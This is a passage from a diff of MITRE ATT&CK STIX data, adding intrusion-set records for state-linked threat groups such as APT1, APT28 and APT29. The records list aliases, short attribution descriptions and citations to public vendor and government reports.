"https://attack.mitre.org/mitigations/T1220" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7708ac15-4beb-4863-a1a5-da2d63fb8a3c", + "modified": "2019-07-25T12:36:43.778Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "identity", + "name": "The MITRE Corporation", + "identity_class": "organization", + "created": "2017-06-01T00:00:00.000Z", + "id": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2017-06-01T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ] + }, + { + "aliases": [ + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ], + "type": "intrusion-set", + "name": "APT1", + "description": "[APT1](https://attack.mitre.org/groups/G0006) is a Chinese threat group that has been attributed to the 2nd Bureau of the People\u2019s Liberation Army (PLA) General Staff Department\u2019s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", + "external_references": [ + { + "external_id": "G0006", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0006" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "APT1" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "Comment Crew" + }, + { + "description": "(Citation: Mandiant APT1)", + "source_name": "Comment Group" + }, + { + "description": "(Citation: CrowdStrike Putter Panda)", + "source_name": "Comment Panda" + }, + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:47.955Z", + "id": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:12.971Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1" + }, + { + "aliases": [ + "APT12", + "IXESHE", + "DynCalc", + "Numbered Panda", + "DNSCALC" + ], + "type": "intrusion-set", + "name": "APT12", + "description": "[APT12](https://attack.mitre.org/groups/G0005) is a threat group that has been attributed to China. The group has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments.(Citation: Meyers Numbered Panda)", + "external_references": [ + { + "external_id": "G0005", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0005" + }, + { + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)", + "source_name": "APT12" + }, + { + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)", + "source_name": "IXESHE" + }, + { + "description": "(Citation: Meyers Numbered Panda) (Citation: Moran 2014)", + "source_name": "DynCalc" + }, + { + "description": "(Citation: Meyers Numbered Panda)", + "source_name": "Numbered Panda" + }, + { + "description": "(Citation: Moran 2014)", + "source_name": "DNSCALC" + }, + { + "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", + "source_name": "Meyers Numbered Panda", + "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/" + }, + { + "source_name": "Moran 2014", + "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:47.537Z", + "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "modified": "2019-06-10T19:28:00.749Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0" + }, + { + "aliases": [ + "APT16" + ], + "type": "intrusion-set", + "name": "APT16", + "description": "[APT16](https://attack.mitre.org/groups/G0023) is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)", + "external_references": [ + { + "external_id": "G0023", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0023" + }, + { + "description": "(Citation: FireEye EPS Awakens Part 2)", + "source_name": "APT16" + }, + { + "source_name": "FireEye EPS Awakens Part 2", + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:56.270Z", + "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70", + "modified": "2019-03-22T14:20:45.561Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "APT17", + "Deputy Dog" + ], + "type": "intrusion-set", + "name": "APT17", + "description": "[APT17](https://attack.mitre.org/groups/G0025) is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)", + "external_references": [ + { + "external_id": "G0025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0025" + }, + { + "description": "(Citation: FireEye APT17)", + "source_name": "APT17" + }, + { + "description": "(Citation: FireEye APT17)", + "source_name": "Deputy Dog" + }, + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:57.307Z", + "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", + "modified": "2019-03-22T14:21:19.419Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "APT18", + "TG-0416", + "Dynamite Panda", + "Threat Group-0416" + ], + "type": "intrusion-set", + "name": "APT18", + "description": "[APT18](https://attack.mitre.org/groups/G0026) is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)", + "external_references": [ + { + "external_id": "G0026", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0026" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)", + "source_name": "APT18" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)", + "source_name": "TG-0416" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)(Citation: Anomali Evasive Maneuvers July 2015)", + "source_name": "Dynamite Panda" + }, + { + "description": "(Citation: ThreatStream Evasion Analysis)", + "source_name": "Threat Group-0416" + }, + { + "source_name": "Dell Lateral Movement", + "description": "Carvey, H.. (2014, September 2). Where you AT?: Indicators of lateral movement using at.exe on Windows 7 systems. Retrieved January 25, 2016.", + "url": "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" + }, + { + "source_name": "ThreatStream Evasion Analysis", + "description": "Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.", + "url": "https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + }, + { + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "source_name": "Anomali Evasive Maneuvers July 2015", + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:57.733Z", + "id": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.461Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0" + }, + { + "aliases": [ + "APT19", + "Codoso", + "C0d0so0", + "Codoso Team", + "Sunshop Group" + ], + "name": "APT19", + "description": "[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)", + "id": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "FS-ISAC", + "Darren Spruell" + ], + "created": "2018-10-17T00:14:20.652Z", + "modified": "2019-10-11T19:12:13.407Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0073", + "url": "https://attack.mitre.org/groups/G0073" + }, + { + "description": "(Citation: FireEye APT19)", + "source_name": "APT19" + }, + { + "description": "(Citation: Unit 42 C0d0so0 Jan 2016)", + "source_name": "Codoso" + }, + { + "description": "(Citation: Unit 42 C0d0so0 Jan 2016)", + "source_name": "C0d0so0" + }, + { + "description": "(Citation: FireEye APT Groups)", + "source_name": "Codoso Team" + }, + { + "description": "(Citation: Dark Reading Codoso Feb 2015)", + "source_name": "Sunshop Group" + }, + { + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "source_name": "FireEye APT19", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + }, + { + "description": "Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China\u2019s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.", + "source_name": "ICIT China's Espionage Jul 2016", + "url": "https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/" + }, + { + "description": "FireEye. (n.d.). Advanced Persistent Threat Groups. Retrieved August 3, 2018.", + "source_name": "FireEye APT Groups", + "url": "https://www.fireeye.com/current-threats/apt-groups.html#apt19" + }, + { + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "source_name": "Unit 42 C0d0so0 Jan 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + }, + { + "description": "Chickowski, E. (2015, February 10). Chinese Hacking Group Codoso Team Uses Forbes.com As Watering Hole. Retrieved September 13, 2018.", + "source_name": "Dark Reading Codoso Feb 2015", + "url": "https://www.darkreading.com/attacks-breaches/chinese-hacking-group-codoso-team-uses-forbescom-as-watering-hole-/d/d-id/1319059" + } + ] + }, + { + "aliases": [ + "APT28", + "SNAKEMACKEREL", + "Swallowtail", + "Group 74", + "Sednit", + "Sofacy", + "Pawn Storm", + "Fancy Bear", + "STRONTIUM", + "Tsar Team", + "Threat Group-4127", + "TG-4127" + ], + "name": "APT28", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. [APT28](https://attack.mitre.org/groups/G0007) has been active since at least 2004.(Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018) (Citation: Symantec APT28 Oct 2018) (Citation: ESET Zebrocy May 2019)", + "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.2", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Drew Church, Splunk", + "Emily Ratliff, IBM", + "Richard Gold, Digital Shadows" + ], + "created": "2017-05-31T21:31:48.664Z", + "modified": "2019-10-11T21:44:06.801Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0007", + "url": "https://attack.mitre.org/groups/G0007" + }, + { + "description": "(Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "APT28" + }, + { + "description": "(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "source_name": "SNAKEMACKEREL" + }, + { + "description": "(Citation: Symantec APT28 Oct 2018)", + "source_name": "Swallowtail" + }, + { + "description": "(Citation: Talos Seduploader Oct 2017)", + "source_name": "Group 74" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware JHUHUGIT. (Citation: FireEye APT28 January 2017) (Citation: SecureWorks TG-4127) (Citation: Kaspersky Sofacy) (Citation: Ars Technica GRU indictment Jul 2018)", + "source_name": "Sednit" + }, + { + "description": "This designation has been used in reporting both to refer to the threat group and its associated malware. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: Crowdstrike DNC June 2016) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)", + "source_name": "Sofacy" + }, + { + "description": "(Citation: SecureWorks TG-4127) (Citation: ESET Sednit Part 3)", + "source_name": "Pawn Storm" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)", + "source_name": "Fancy Bear" + }, + { + "description": "(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019)", + "source_name": "STRONTIUM" + }, + { + "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)", + "source_name": "Tsar Team" + }, + { + "description": "(Citation: SecureWorks TG-4127)", + "source_name": "Threat Group-4127" + }, + { + "description": "(Citation: SecureWorks TG-4127)", + "source_name": "TG-4127" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Ars Technica GRU indictment Jul 2018", + "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.", + "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.", + "source_name": "SecureWorks TG-4127", + "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign" + }, + { + "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.", + "source_name": "FireEye APT28 January 2017", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" + }, + { + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "source_name": "GRIZZLY STEPPE JAR", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "Sofacy DealersChoice", + "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/" + }, + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + }, + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "source_name": "Talos Seduploader Oct 2017", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + }, + { + "source_name": "Microsoft STRONTIUM Aug 2019", + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + } + ] + }, + { + "aliases": [ + "APT29", + "YTTRIUM", + "The Dukes", + "Cozy Bear", + "CozyDuke" + ], + "type": "intrusion-set", + "name": "APT29", + "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)", + "external_references": [ + { + "external_id": "G0016", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0016" + }, + { + "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)", + "source_name": "APT29" + }, + { + "description": "(Citation: Microsoft Unidentified Dec 2018)", + "source_name": "YTTRIUM" + }, + { + "description": "(Citation: F-Secure The Dukes)", + "source_name": "The Dukes" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016)", + "source_name": "Cozy Bear" + }, + { + "description": "(Citation: Crowdstrike DNC June 2016)", + "source_name": "CozyDuke" + }, + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + }, + { + "source_name": "GRIZZLY STEPPE JAR", + "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.", + "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf" + }, + { + "source_name": "Crowdstrike DNC June 2016", + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + }, + { + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "source_name": "FireEye APT29 Nov 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + }, + { + "source_name": "Microsoft Unidentified Dec 2018", + "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.", + "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:52.748Z", + "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:52.859Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2" + }, + { + "aliases": [ + "APT3", + "Gothic Panda", + "Pirpi", + "UPS Team", + "Buckeye", + "Threat Group-0110", + "TG-0110" + ], + "type": "intrusion-set", + "name": "APT3", + "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\nMITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)", + "external_references": [ + { + "external_id": "G0022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0022" + }, + { + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "APT3" + }, + { + "description": "(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "Gothic Panda" + }, + { + "description": "(Citation: PWC Pirpi Scanbox)", + "source_name": "Pirpi" + }, + { + "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "UPS Team" + }, + { + "description": "(Citation: Symantec Buckeye)", + "source_name": "Buckeye" + }, + { + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "Threat Group-0110" + }, + { + "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)", + "source_name": "TG-0110" + }, + { + "source_name": "FireEye Clandestine Wolf", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + }, + { + "source_name": "Recorded Future APT3 May 2017", + "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.", + "url": "https://www.recordedfuture.com/chinese-mss-behind-apt3/" + }, + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + }, + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + }, + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + }, + { + "source_name": "PWC Pirpi Scanbox", + "description": "Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.", + "url": "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:55.853Z", + "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-10-11T19:27:52.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.2" + }, + { + "aliases": [ + "APT30" + ], + "type": "intrusion-set", + "name": "APT30", + "description": "[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)", + "external_references": [ + { + "external_id": "G0013", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0013" + }, + { + "description": "(Citation: FireEye APT30) (Citation: Baumgartner Golovkin Naikon 2015)", + "source_name": "APT30" + }, + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + }, + { + "source_name": "Baumgartner Golovkin Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.", + "url": "https://securelist.com/the-naikon-apt/69953/" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:51.026Z", + "id": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "modified": "2019-03-22T18:44:28.439Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "aliases": [ + "APT32", + "SeaLotus", + "OceanLotus", + "APT-C-00" + ], + "name": "APT32", + "description": "[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)", + "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.1", + "type": "intrusion-set", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Romain Dumont, ESET" + ], + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-10-14T16:39:36.068Z", + "external_references": [ + { 